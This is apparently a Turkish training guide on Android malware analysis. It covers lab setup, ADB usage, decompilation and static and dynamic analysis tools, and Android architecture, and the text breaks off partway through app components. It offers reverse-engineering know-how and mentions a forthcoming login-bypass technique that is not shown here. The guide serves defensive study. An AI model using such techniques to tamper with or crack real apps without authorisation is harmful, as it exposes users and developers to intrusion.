  • 4. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] GİRİŞ Bu döküman Mobil Güvenlik alanına ilgisi olan ya da bu alanda kendini geliştrimek isteyen kişiler için klavuz niteliğindedir. Dökümanda mobil güvenliğin neden önemli olduğundan, zararlı yazılımlar ile neler yapılabileceğinden, lab ortamının kurulması ve tersine mühendislik araçlarından, android mimarisi ve güvenlik yaklaşımından, tersine mühendislik teknikleri ile uygulama içeriklerine müdehale etmek gibi konulardan uygulamalı olarak bahsedeceğiz.
  • 5. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Neden Mobil Güvenlik? Hayatımızın vazgeçilmez bir parçası olmuş mobil cihazların bizler için önemi bilinen bir gerçektir. Taşınabilir özelliklerinin yanı sıra sahip oldukları; navigasyon, banka işlemleri, mesaj gönderimi, fotoğraf çekimi, müzik arşivi, video oynatıcısı, bilet alımı, alışveriş yapabilme, gazete ve gündem takibi gibi farklı cihazların sunduğu özellikleri tek bir bütün halinde karşımıza çıkarmaktadırlar. Bunun sonucu olarak mobil cihazlar diğer cihazların aksine daha çok kitleye ivmesel bir artışla hitap etmektedirler. Facebook Büyüyen Pazarlar Ölçümleme Yöneticisi “Rishi Sexena” da “Televizyon 50 milyon kullanıcıya 13 yılda, mobil cihazlar ise 2 milyar kullanıcıya 10 yılda erişti.” diyerek günümüzde mobil devrimin yaşandığını ve mobil cihazların hayatımızdaki yeri/önemini bir kez daha vurgulamıştır. Peki bu durum ülkemizde nasıl? sorusuna cevap vermek gerekirse 2016 yılında yapılan istatistiki değerlere göre Türkiye nüfusunun %90’ının mobil aboneliğinin bulunduğu ve yaklaşık olarak 71 milyon kişinin ise mobil bağlantıya sahip olduğunu tespit edilmiştir. Dünya üzerinde yıllık olarak toplam indirilen mobil uygulama sayısı ise 2016 yılında 149.3 milyar iken 2021 yılında 352.9 olması beklenmektedir. Yapılan araştırmalarda bir akıllı telefonda ortalama 26 indirilmiş uygulama bulunduğu ancak bunlardan her hafta düzenli kullanılanların sayısının 10’dan az olduğu görülmüştür. İndirilen uygulamalardan hiç şüpheye düşmeden indirdiğimiz uygulamalar GPS, NFC, bluetooth, kamera, mikrofon, SMS ve QR kod okuyucu gibi özelliklere sahiptirler. Söz konusu uygulamalar sahip oldukları bu özellikler aracılığı ile sürekli olarak dışarıdan bilgi toplamaktadırlar.
  • 6. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Peki hassas bilgilerimizi tuttuğumuz ve sürekli olarak internete bağlı bulunduğumuz bu mobil cihazlarda güvenliğimizden ne kadar bahsedebiliriz? Diğer bir açıdan bakacak olursak; Kontrolsüz büyümesi ile dünyayı saran, henüz uygulama geliştiricilerinin bile tam denetim sahibi olamadığı uygulamalara sahip olan ve neredeyse bedenimize yapışık halde bizimle dolaşan; en mahrem bilgilerimizi bulundurduğumuz bu akıllı cihazların güvenliğini ne kadar önemsiyoruz? Telefonlarınızı yabancı ellere emanet etmek bir kenara en yakınlarınızın bile elinde görmekten rahatsız oluyorsunuz. Kilit ekranı, parmak izi gibi önlemlerle bunu engellemeye çalışıyorsunuz. Ama sizi her dakika gözlemleyebilen, bulunduğunuz yeri, görüntünüzü, görüşmelerinizi kısacası size ait olan her özele erişim sağlayabilen art niyetli telefon yazılımlarının olduğunu biliyor muydunuz?
  • 7. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Zararlı Yazılım ile Neler Yapabilir? Zararlı yazılım olarak tercüme edebileceğimiz “malware” kelimesi; gizlice cihazları kontrol etmek, özel bilgileri ele geçirmek ya da cihaz sahibinden para çalmak amacıyla yazılmış kötü niyetli yazılımlara verilen addır. Bir zararlı yazılımın yapabilecekleri, bir yazılım geliştiricinin hayal gücünden farksız ve hatta bazen fazladır. Genelde insanların birçoğu telefon şarjının hızlı tükenmesinden şikayetçi olduklarını duymaktayız. Oysaki birçok insan telefonlarında, çoğu zaman farkında dahi olmadan özünde çok tehlikeli olan zararlı yazılımları barındırmaktadırlar. Peki bu zararlı yazılımlardan neden korkmalıyız? Çünkü zararlı yazılımlar; ● Parola bilgilerinizi ● Banka hesaplarınızı ● Konum bilgilerinizi ● Nelerden hoşlandığınızı ● Mesaj geçmişlerinizi çalabilirler. Hatta; ● Telefon görüşmelerinizi kayıt altına alarak sizden habersiz başka kişilere satabilir. Ayrıca; ● Sizden habersiz başka kişilere spam mesajı yollayabillir, ● Sizden habersiz telefon aramaları yapabilir, ● Sizden habersiz veri kullanıp paketlerinizi bitirebilir, ● İzinsiz olarak istenmeyen reklamlar, spamlar, cinsel içerikli görüntüler gösterebilir, ● Batarya güç tüketiminizi arttırarak, şarj sürenizi azaltabilirler. Her 10 mobil cihazdan 3’ünün tehlike altında olduğu günümüzde, zararlı yazılımlar şu yollarla bulaşmaktadırlar; ● Zararlı bir uygulamanın kullanıcı tarafından indirilip çalıştırılması, ● Sürüm güncellemesi almayan ya da alındığı halde güncellenmeyen zafiyetli işletim sistemleri bulunan cihazların kullanılması, ● Şüpheli e-postaların açılması, ● Güvenli olmayan Wi-Fi ağlarına bağlanılması ve güvensiz URL adreslerinin ziyaret edilmesi, ● Aldatma amacıyla gönderilen mesajlara ve yapılan aramalara cevap verilmesi gibi yollarla bulaşmaktadırlar. Geçmişten günümüze birçok zararlı yazılım ile karşılaşılmış, önlemler alınmaya çalışılmıştır. Bunların birkaçından bahsedecek olursak; Tarihte etkisini büyük çapta gösteren ve ilk bilinen mobil zararlı yazılım DroidDream’dır. Telefonu root ederek kişiye ait hassas bilgileri sunucuya gönderen bu zararlı yazılım, başka uygulamaları da kullanıcı gibi indirebilme özelliğine sahiptir. Piyasaya yayılması ise mağazada bulunan 50’den fazla
  • 8. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] uygulamanın crack’li versiyonlarının zararlı kod enjekte edilmiş şekilde tekrar mağazalara ve internete sunulması gerçekleşmiştir. Coinminer, mobil cihazınızın CPU’sunu, hafızasını ve internet bağlantınızı kullanarak sanal para üretme amacıyla çalışan bir zararlı yazılımdır. Stagefright zararlısı ise telefon tarihindeki en kötü bug olarak bilinmektedir. Söz konusu zararlı, android işletim sistemi kaynaklı bir zafiyet sebebiyle saldırgana hedef cihaza mesaj yollayarak ele geçirme hakkı verir. Bu zafiyetten başınızın ağrıması için sadece size kötü niyetli mesajın gelmesi ve android sürümünüzün bu zafiyeti barındırıyor olması yeterlidir. Vermiş olduğumuz zararlı yazılım örneklerinden de referans alabileceğimiz gibi zararlı yazılıma yakalanma riskimizi azaltmak ve kişisel verilerimizi koruma ihtiyacımızı gidermek için mobil cihazımızı; ● Rootlamadan/Jailbreak yapmadan kullanmalı, ● Mümkün olduğunca sistem güncellemelerini yapmalı, ● Sistem güncellemeleri alan ürünleri tercih etmeli, ● VPN gibi encrypt teknolojileri ile network trafiğinde verilerimizi koruma altına almalıyız.
  • 9. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Lab Ortamının Kurulması ve Tersine Mühendislik Araçları Analiz ortamını sanallaştırmak ve fiziksel bir cihaza ihtiyaç duymadan işlemlerinizi kolaylaştırarak güvenli bir ortam sağlamak için “Android Emulatör” kullanılmalıdır. Çalışan bir Android Emulatör’e sahip olabilmek için ise “Android SDK (Software Development Kit)” e ihtiyacınız vardır. Android SDK (Software Development Kit) ve Android Studio Kurulumu SDK, sanal android cihaz kurulumu için gerekli olan uygulamaları barındıran; android geliştiricileri için hazırlanmış uygulama paketidir. Android Studio’yu indirerek hem geliştirme ortamı hem de Android SDK’yı temin edebilirsiniz. Android Studio’ yu aşağıdaki linkten indirebilirsiniz. ● https://developer.android.com/studio/index.html İlgili linkte yer alan .zip uzantılı Android Studio paketini indirdikten sonra öncelikle 64 bit bir sistem kullanıyorsanız gerekli olan 32 bit kütüphaneleri aşağıdaki sistemler için verilen komutları kullanarak indirebilirsiniz. Debian tabanlı sistemler için; sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 libbz2-1.0:i386 Fedora için; sudo yum install zlib.i686 ncurses-libs.i686 bzip2-libs.i686 - Bu aşamayı tamamladıktan sonra unzip komutu ile indirmiş olduğunuz zip dosyasını açılır. - Ardından cd android-studio/bin/ komutu ile “bin” dizinine geçiş yapmalır. - Son olarak “sh studio.sh” ile Android Studio yükleme penceresi başlatılır.
  • 10. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Emulatör Kurulumu Bu çalışmada daha kullanışlı olmasından dolayı Android Emulatör olarak “Genymotion” tercih edilmiştir. Genymotion’ı; ● https://www.genymotion.com/account/create/ adresinden ücretsiz üyelik alarak ● https://www.genymotion.com/download adresinden deneme sürümünü indirebilirsiniz. Bunun dışında da dilediğiniz Android Emulatör’ü kullanabilirsiniz. Kurulum için; - Öncelikle indirmiş olduğunuz dosya içerisindeki .bin uzantılı dosyaya “chmod +x” komutu ile yürütme yetkisi verdikten sonra “./genymotiondosyaismi.bin” şeklinde kurulumunu başlatabilirsiniz. - Aşağıdaki gibi bir ekran ile karşılaşacaksınız. - Bu ekranda “Add” butonuna tıklayarak dilediğiniz bir sanal android cihazı kurabilirsiniz.
  • 11. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - İstediğiniz android cihazı seçtikten sonra son olarak “Next” butonu ile kurulumu tamamlamalısınız. - Tüm bu işlemlerden sonra cihazınız gerekli kurulumları yaparak kullanıma hazır hale gelecektir.
  • 12. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ADB (Android Debug Bridge) Kurulumu ve Kullanımı ADB, fiziksel ya da sanal emulatör farketmeksizin yapmak istediğimiz işlemleri çok daha hızlı bir şekilde tamamlamamıza olanak sağlayan ve bilgisayarımızla mobil cihazımız arasında köprü görevi gören terminal arayüzü uygulamasıdır. ADB sayesinde mobil cihaz üzerindeki dizinlerde hareket edebilir, kurulu paketleri listeleyebilir, SMS gönderimi, telefon araması gibi özellikleri kullanabiliriz. Android Studio ile beraber indirmiş olduğumuz bu araç “~/Android/Sdk/platform-tools” dizininde bulunmaktadır. Araçla alakalı birkaç temel komuta bakacak olursak; adb devices: Bu komut bağlı olan cihazları gösterir. Şekilde 192.168.56.101 IP adresinde gözüken cihaz Genymotion ile oluşturduğumuz cihazdır. adb shell: Bu komut ise android cihazda shell almamızı ve linux komutlarını çalıştırmamızı sağlar.
  • 13. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Eğer birden fazla cihaz bilgisayarımıza bağlı ise shell almak istediğimiz cihaz; - Emulatör ise adb --e shell - Fiziksel cihaz ise adb --d shell komutlarını kullanırınız. Çok daha fazla cihaz arasından seçim yapılacak ise; adb --s X.X.X.X:SSS shell komutu ile seçim yapılabilir. Buradaki X’ ler “adb devices” komutundaki IP adresini S’ler ise port numarasını temsil etmektedir. Shell içerisinde cihazımızda kurulu olan paketleri görebilir. Dizinler arası geçiş yapabiliriz.
  • 14. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Yukarıdaki ekran görüntüsünde de görüldüğü gibi shellimiz “root” yetkilerinde çalışmakta, “/data/data” dizinine sahip olduğumuz yetkiler sayesinde ulaşabimekte ve “pm list packages” komutu ile kurulu olan paketleri görebilmekteyiz. adb push: Bu komut ile android cihaza dosya gönderebiliriz. adb pull: Bu komut ile android cihazdan dosya indirebiliriz. screencap: Bu komut ile android cihazdan ekran görüntüsü alabiliriz.
  • 15. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ADB uygulaması kullanılarak, çalışan bir uygulama üzerinde ekrana sayısı verilen miktarda rastgele basarak uygulamayı “stress testi” adı verilen teste tabi tutabiliriz. Bunun için örnek olarak 1000 kez ekrana rastgele girdi veren komut şu şekildedir; adb shell monkey -p your.package.name -v 1000 Son olarak ADB uygulamasını kullanarak cihazımıza uygulama yükleyebilir ya da silebiliriz. İndirilen uygulamaya ait arayüz aşağıda verilmiştir.
  • 16. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Yüklü paketleri listeleyerek de ilgili uygulamanın kurulu olduğunu gözlemleyebiliriz. İlgili uygulamayı silmek istediğimizde ise “uninstall” komutunu silmek istediğimiz ilgili paket ismiyle birlikte kullanmamız yeterli olacaktır. BusyBox ADB aracında olduğu gibi, mobil cihaz üzerinde shell alma amacıyla ortaya çıkmıştır. ADB aracının barındırmadığı Linux komutlarını da içermektedir. Genymotion ile kurulu olarak gelmektedir. “adb” ile shell alındıktan sonra cd komutu ile /system/xbin dizinine gidilerek ./busybox komutunun uygulanması ile ilgili komutlar listelenebilir.
  • 17. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Apktool Bir .apk dosyasını açmaya çalıştığımızda karşımıza çıkan yapı şu şekildedir; “.dex” formatında olan bu yapıyı anlamlandırabilir hale getirmek için decompile etmeliyiz. Apktool android .apk dosyalarını decompile etmek için kullanılan araçtır. Decompiler sonucunda smali adını verdiğimiz ara kodları elde ederiz. .dex <------------------> .smali <--------------------- java source code Apktool’un son versiyonunu; ● https://ibotpeaches.github.io/Apktool/ adresinden indirebilirsiniz. İndirmiş olduğunuz jar dosyası decompiler etmek için “d” parametresi ile çalıştırmalısınız. Decompiler sonucunda; ● Resources (xml dosyaları ve resimler) ● Manifest File ● Yml Dosyası (sdk ve versiyon bilgisi) ● Smali Dosyası oluşmaktadır.
  • 18. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Oluşan dosyalara ait örnek bir ekran görüntüsü aşağıda verilmiştir. Buradaki manifest dosyasını açtığımızda neredeyse orjnaliyle aynı bir manifest dosyası elde ettiğimizi görüyoruz.
  • 19. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Ayrıca ApkTool sadece decompiler yapma işlemi için değil, aynı şekilde decompiler edilmiş bir apk dosyasını derleme yaparak paketleme işlemi için de kullanılmaktadır. Bunun için “b” (build) parametresi kullanılır. Dex2Jar Bir diğer tersine mühendislik aracımız olan Dex2Jar “.dex” formatında yer alan apk içerisindeki dosyaları “.jar” uzantılı java binary dosyalarına çevirir. .jar uzantılı java binary dosyalarına dönüştürülmüş olan bu dosyalar başka bi java decompiler aracı kullanılarak rahatlıkla kaynak koda dönüştürülebilir. Bu aracı aşağıdaki linkten indirebilir; ● https://sourceforge.net/projects/dex2jar/?source=typ_redirect ve programını açarak “./d2j-dex2jar.sh” aracılığıyla çalıştırabilirsiniz. Yukarıdaki ekran görüntülerinde de görüldüğü gibi örnek olarak “BGA_Mucahid.apk” uygulaması decompiler edilerek “output.jar” dosyasına dönüştürülmüştür.
  • 20. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] JD-GUI JD-GUI programı, dex2jar programı ile decompiler ettigimiz “.jar” uzantılı java binary dosyalarını source koda çevirmemize yarayan bir decompiler aracıdır. Kullandığınız işletim sistemine göre uygun versiyonu; ● https://github.com/java-decompiler/jd-gui/releases adresinden indirebilirsiniz. Bununla alakalı kısa bir örnek yapacak olursak adımlar şu şekildedir; - Öncelikle indirmiş olduğumuz .jar uzantılı JD-GUI programını “java -jar jd-gui-1.4.0.jar” komutuyla çalıştırıyoruz. - Sonra grafik arayüze sahip olduğumuz programımızda “File” sekmesinden “Open File” tuşuna basarak gelen dizin ekranından az önce “Dex2Jar” programı ile oluşturduğumuz “output.jar” dosyasını seçiyoruz. - Bu işlemleri, oluşturulmuş olan output.jar dosyasını JD-GUI içerisine sürükle bırak yaparak da bu işlemleri kısa yoldan tamamayabilirsiniz.
  • 21. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Decompiler işlemi sonucunda ise android geliştiricinin yazmış olduğu kodları elde ediyoruz. Androguard Statik analiz yapmak için geliştirilmiş olan, birden fazla özelliği içinde barındıran kullanışlı bir programdır. Dex2Jar +JDGui’nin beraber kullanılması gibi düşünülebilir. İçerisinde birden fazla araç barındırmaktadır. Bu aracı Debian sunucularında paket olarak indirmek için; ● https://packages.debian.org/stretch/amd64/androguard/download linkini kullanabilirsiniz. İndirmiş olduğunuz “.deb” paketini, ilgili dizine giderek şu şekilde kurabilirsiniz. “-s” paremetresiyle IPython üzerinden çalıştırılan toolumuza analizini yapacağımız apk dosyasını, “a” değişkenine atayarak tanımladık.
  • 22. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Statik analizde tekrar kullanacağımız bu program üzerinde çok daha fazla detaya girmeden örnek kullanım üzerinde apk dosyasının sahip olduğu izinler, uygulama ismi, main activitiy ismi ve bütün activitiy isimleri listelenmiştir. Activitiy tanımı ve bizler için önemi Android Mimarisinde bahsedilecektir.
  • 23. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Son olarak Androguard uygulamasının androlyze den ibaret olmadığını ve şu uygulamaları barındırdığını belirtmekte fayda var; ● Androaxml ● Androsim ● Androdd ● Apkviewer ● Androapkinfo Aşağıdaki ekran görüntüsünde örnek olarak “Androaxml” kullanılarak XML formatındaki manifest dosyasının “.apk “uzantılı dosyadan elde edilmiş hali gösterilmiştir.
  • 24. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] AndroBugs AndroBugs zafiyet araştırmalarında karşımıza çıkan ve tersine mühendislik tekniklerini kullanarak statik analiz yapan python ile yazılmış bir programdır. İşin ofansif kısmının yanı sıra uygulama hakkında da kritik bilgileri detaylı bir rapor ile bize sunduğu için analiz kısmı için de oldukça önemlidir. Programı; ● https://github.com/AndroBugs/AndroBugs_Framework adresinden indirerek ve -f parametresine analiz edilmek istenilen programı vererek çalıştırabiliriz. Program, analizi yapılan “.apk” dosyasının hangi kritik bilgileri içerdiği raporunu Androbugs içerisindeki “Reports” klasörü altında sunar. Yukarıdaki ekran görüntüsünde görüldüğü üzere [Critical] [Warning] [Notice] [Info] başlıkları alltında .apk dosyası hakkındaki bilgiler karşımıza çıkmaktadır. Apk içerisinde
  • 25. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] 'Runtime.getRuntime().exec("...")'. fonksiyonunun bulunduğu ve bunun kritik bir bilgi olduğunu belirtmiştir. MobSF Mobile Security Framework kelimelerinin kısaltması olarak karşımıza çıkan bu araç, mobil uygulamaların statik analizini yapmak için oluşturulmuştur. Python programlama diliyle yazılan MobSF, web arayüzü kullanmaktadır. Dinamik analiz özelliği de kazandırılmış olan MobSF oldukça kullanıcı dostu ve kullanışlı bir programdır. Bu aracı; ● https://github.com/MobSF/Mobile-Security-Framework-MobSF adresinden indirerek aşağıdaki ekran görüntüsünde verilen dizine gidierek ilgili komut ile başlatabilirsiniz. Daha sonra tarayıcınızdan http://localhost:8000/ adresine giderek arayüze erişim sağyabilirsiniz.
  • 26. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Upload butonuna tıklayarak ilgili apk dosyası seçilir. Eğer analizini yapmak istediğiniz apk da hata alıyorsanız, muhtemelen “requirements.txt” dosyasında yer almayan farklı bir django versiyonu kullanıyorsunuzdur. Sırasıyla “python manage.py migrate” ve “python manage.py makemigrations” komutlarını uygulamanız sorunu giderecektir. Dosya analizi yapıldıktan sonra şekildeki gibi çeşitli bilgiler ekrana gelecektir.
  • 27. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
  • 28. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Qark Zafiyet tarama ve kod analizi araçlarından bahsettikten sonra LinkedIn Pentester’ ları tarafından Black Hat’te sunumu yapılan, gelecekte çok daha güçlü bir araç olacağı söylenen Qark zafiyet tespiti ve exploitationda kullanılan açık kaynak kodlu statik analiz yapan bir araçtır. Bu aracı; ● https://github.com/linkedin/qark adresinden indirebilirsiniz. Araç “/qark-master/qark/” dizini altında “qarkMain.py” adında python uzantılı bir dosyanın çalıştırılması ile başlamaktadır. “python qarkMain.py” komutu ile başlatılan program Android SDK indirmek istiyor musunuz sorusuyla bizi karşılamaktadır. Android SDK kurulumunu daha önceden gerçekleştirdiğimiz için bu soruya “N” diyerek SDK’nın yolunu verebilirsiniz. Android Studio ile kurduğumuz SDK “/home/KullanıcıAdınız/Android/Sdk” yoluna sahiptir. Analiz yapmak için bir APK mı yoksa kaynak kodu mu vereceğimizi sormaktadır. 1 numaralı APK seçeneğini seçiyoruz.
  • 29. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] APK yolunu mu yoksa adb programını öğrenirken yaptığımız gibi cihazdan mı uygulama çekmek istediğimizi soruyor. 1 numaralı yol verme seçeneğini seçiyoruz. Daha sonra manifest dosyasını görmek isteyip istemediğimizi bize soran program, yaptığı analiz sonuçlarını klasörün altında “report.html” adında .html uzantılı bir dosya olarak bize sunmaktadır.
  • 30. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Droidbox Droidbox, öğrenilmiş olan diğer araçlardan farklı olarak dinamik analiz yapan bir araçtır. Dinamik analiz, statik analizden farklı olarak programın çalışır durumdaki davranışlarını inceleyerek yapılan bir analiz çeşididir. Droidbox ile: ● Dosya okuma, yazma işlemleri ● Kritpografik API aktiviteleri ● Ağ trafiği ● Ağ bağlantıları ● SMS gönderimleri ● Telefon çağrıları analiz edilebilir. Droidbox’ı; ● https://github.com/pjlantz/droidbox adresinden indirebilirsiniz. İndirilmiş olan zip dosyasını dilediğiniz dizine çıkartabilirsiniz. Öncelikle Droidbox programını kullanabilmek için AVD (Android Virtual Device)’ye ihtiyaç vardır. AVD aynı Genymotion gibi bir android emulatördür. Android Studio içerisinde yüklü olarak gelmektedir.
  • 31. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Studio’ yu çalıştırarak “Run” butonuna bastığımız zaman karşımıza çıkan ekranda kurulu olan emulatörler listelenmektedir. Şimdi “Create New Virtual Device” butonuna tıklayarak yeni bir emulatör oluşturuyoruz.
  • 32. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Nexus 4 seçeneğini seçerek “Next” butonuna tıklıyoruz. Karşımıza çıkan ekranda android sürümü olarak “Jelly Bean” tercih edilmiştir. Bunu tercih etmemizin sebebi ise Droidbox programı için önerilen android versiyonu olmasıdır.
  • 33. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Gelen ekranda cihazımıza ulaşmak için kullanacağımız AVD ismi belirlenir. Görselde “BGA” olarak belirtilmiştir. Gerekli kurulum işlemi gerçekleştirildikten sonra Android Studio kapatılarak terminal ekranında sadece emulatör çalıştırılır. Droidbox/images klasörü altındaki 7zip uzantılı dosyalar unpack edilir. “~/Android/Sdk/tools” dizini altında “./emulator -list-avds” komutu ile kurulu cihazlar listelenelerek, “./emulator -avd cihazismi” komutu ile emulator başlatılır. Burada normal kullanımdan farklı olarak -system Droidboxdizini/images/system.img -ramdisk Droidboxdizini/images/ramdisk.img -wipe-data -prop dalvik.vm.execution-mode=int:portable parametreleri de verilir.
  • 34. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Artık gerekli olan ortamı hazırladığımıza göre “/droidbox-master/droidbox4.1.1” altında yer alan .sh uzantılı scripti “./droidbox.sh apkyolu analizsüresi” şeklinde çalıştırabiliriz. Uygulamada; ./droidbox.sh BGA.apk olarak süre limiti olmadan çalıştırılmıştır.
  • 35. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Ekran görüntüsünde görüldüğü gibi bir hatayla karşılaşılması sonucu sorunun Droidbox Python kodundan kaynaklı olduğu düşüncesiyle hata alınan yere “shell=true” kodu eklenerek hata giderilmiştir. Unutulmamalıdır ki böyle bir hatayla karşılaşmıyorsanız bu adımı yapmanıza gerek yoktur. Kodu düzeltmek için; - Öncelikle scripts dizinine giderek droidbox.py uzantılı python kodunu metin editörü kullarak açıyoruz. - 317. satırda (ilgili satırda) yer alan ifadeye shell=True parametresini ekliyoruz. - Dosyayı kaydedip çıkıyoruz.
  • 36. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Kaydederek kapatılan dosyada tekrar droidbox.sh dosyasının bulunduğu bir alt dizine “cd ..” komutu ile gidilerek tekrar “./droidbox.sh BGA.apk” komutu çalıştırılır. Başarılı şekilde başlatıldığı görülen Droidbox uygulamasında apk dinamik analizi yapılması için analizi yapılacak olan uygulama emulator yardımıyla yüklenerek çalıştırılır. Bunun için adb komutunu kullabileceğiniz gibi buna gerek duymadan .apk uzantılı dosyayı emulatöre sürükle bırak yaparak da kurabilirsiniz.
  • 37. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama çalıştırıldıktan sonra uygulamanın çalıştırıldığı bilgisi ve log kayıtları Droidbox’ımızın açık olduğu terminale aşağıdaki ekran görüntüsünde görüldüğü gibi düşmektedir.
  • 38. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android Mimarisi ve Güvenlik Yaklaşımı Android, Linux işletim sistemi baz alınarak oluşturulmuş; televizyon, tablet, akıllı telefonlar gibi günümüz modern cihazlarının birçoğunu domine etmiş mobil işletim sistemine verilen addır. Açık kaynak olması, yine herkes tarafından ürün konulup satın alınabilen bir markete sahip olması, geliştirme ortamında Java gibi popüler bir dilin kullanılması insanların kısa sürede ilgisini çekmiştir. Android İşletim Sistemi’nin başlıca özellikleri şunlardır: ● Android İşletim Sistemi tıpkı IOS İşletim Sistemi gibi minimum yetkilerde çalışma prensibini uygular. ● Varsayılan olarak her uygulama yalnızca çalışması için gerekli olan bileşenlere sahiptir. ● Uygulamalar birbirine ait dosyalara dosya sistemi üzerinden ulaşamaz. ● Üçüncü Parti Uygulamalar kullanıcılardan ekstra ayrıcalık talep eder. ● Uygulamaların yüklenebilmesi için imzalanmış olması, güncellemeleri alabilmesi için ise orjinal imzaya sahip olması gerekir. ● Sistem kaynaklarına (internet, gps, nfc, SMS, galeri vb) erişmek isteyen uygulamalar bu hakkı istedikleri kaynakları kurulum esnasında talep eder. Bu izinler, APK (Android Application Package) içerisinde yer alan AndroidManifest.xml dosyası içerisinde uygulamanın geliştirilme aşamasında belirtilmiş olarak bulunur.
  • 39. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ● Kurulan her uygulama kendisine ait bir “id” değeri ile yine kendisine ait “Dalvik VM” adı verilen sanal makinelerde çalışmaktadır. ● Uygulamalar Dalvik VM içerisinde Dalvik Executable (.dex) formatında bulunmaktadır. ● Dalvik VM yerini Android 4.4 Kitkat versiyonu ile Android Run Time (ART) ‘a bırakmaktadır. ● ART, Dalvik VM’ye göre uygulamaların daha stabil ve hızlı çalışmasını sağlamaktadır.
  • 40. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ● Uygulamalar çalıştırıldıktan sonra her seferinde bytecodeların Dalvik VM tarafından derlenmesine gerek kalmadan, uygulamaları native dillerine yakın bir hız ile çalıştırmayı ve şarj süresini arttırmayı amaçlayan bir teknolojidir. ● Dalvik VM’ye göre dezavantajı ise uygulamaların kapladığı alanın daha büyük olmasıdır.
  • 41. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] APP COMPONENTS Android uygulamalar “component(bileşen)” adı verilen yapı taşlarından oluşmaktadır. Bu yapılar sistemin veya kullanıcının uygulamaya ulaşım sağladığı giriş noktalarıdır. Android mimarisinde derine inmeden önce; Android bir uygulama hangi temel bileşenlerden oluşmaktadır?, Bu bileşenler hangi görevleri içermektedir? gibi sorulara cevaplar arayacağız. 4 çeşit uygulama bileşeni bulunmaktadır. Bunlar; ● Activities ● Services ● Broadcast Receivers ● Content Providers Activities Yapılacak olan aktiviteleri, kullanıcının oluşturduğu etkileşimleri ifade eder. Örnek vermek gerekirse; bir mesaj uygulamasında giriş ekranı bir aktivite, mesaj gönderme alanı başka bir aktivite, gelen kutusuna baktığımız alan başka bir aktivite alanını temsil eder. Farklı sayfalardan oluşan yapılar genelde farklı aktiviteleri temsil eder. İleride açıklayacağımız “Login Ekranını Bypass Tekniği” ile bir aktiviteyi kullanmadan başka bir aktiviteyi çağıracağız. Services Hizmet, arka planda bir uygulamanın herhangi bir nedenden dolayı çalışması için genel amaçlı bir giriş noktasıdır. Uygulamanın genelde uzun süren işlemleri gerçekleştirmek için, kullanıcının önünde değil, arka planda işlem yapmasıdır. Uygulamanın servis özelliği sayesinde kullanıcı başka bir uygulama içerisindeyken de servis özelliğine sahip uygulama arka planda görevini yapmaya devam eder. Arka planda dosya indirilmesi ya da arka planda çalan bir müzik buna örnek verilebilir. Broadcast Receivers Yayın yapma mantığıyla oluşturulmuş olan çağrılara cevap vermek amacıyla oluşturulmuş bir bileşendir. Bu çağrılar genellikle sistem, arada başka uygulamalar tarafından yapılmaktadır. Veri kullanımının 3G’den Wi-Fi’ya geçişi, şarjın azaldığının duyurulması, bir dosyanın indiriminin tamamlandığının duyurusu, ekranın kapatıldığı 